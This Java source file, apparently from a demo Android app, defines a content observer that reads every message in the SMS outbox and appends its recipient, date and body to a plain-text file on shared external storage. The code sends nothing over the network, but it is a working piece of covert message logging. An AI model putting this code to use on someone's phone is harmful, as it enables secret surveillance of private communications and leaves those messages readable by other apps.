package com.example.smslistener;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
import android.os.Handler;
import android.util.Log;

public final class SmsObserver extends ContentObserver {
	
	private ContentResolver resolver;

	
	public SmsObserver(Handler handler,ContentResolver resolver) {
		// TODO Auto-generated constructor stub
		super(handler);
		this.resolver = resolver;
	}
	

	@Override
	public void onChange(boolean selfChange) {
		// TODO Auto-generated method stub
		Cursor cursor = resolver.query(Uri.parse("content://sms/outbox"), null, null, null, null);
		Log.i("COUNT", cursor.getCount() + "----------------------");
		while(cursor.moveToNext()){
			StringBuffer sb = new StringBuffer();
			SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String date = sdf.format(new Date(cursor.getLong(cursor.getColumnIndex("date"))));
			sb.append("To:" + cursor.getString(cursor.getColumnIndex("address")) + "\n")
				.append("Date:" + date + "\n")
				.append("Body:" + cursor.getString(cursor.getColumnIndex("body")) + "\n\n");
			saveToSdcard(sb.toString());
		}			

	}

	private void saveToSdcard(String s){
		FileOutputStream fos = null;
		if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){
			String path = Environment.getExternalStorageDirectory().getPath() + "/smsListener/out";
			File dir = new File(path);
			if(!dir.exists()){
				dir.mkdirs();
			}
			
			try {
				fos = new FileOutputStream(new File(dir,"messages.txt"),true);
				fos.write(s.getBytes());
				fos.flush();
			} catch (FileNotFoundException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}finally{
				if(fos!=null){
					try {
						fos.close();
					} catch (IOException e) {
						// TODO Auto-generated catch block
						e.printStackTrace();
					}
				}
			}
		}
	}
	
}
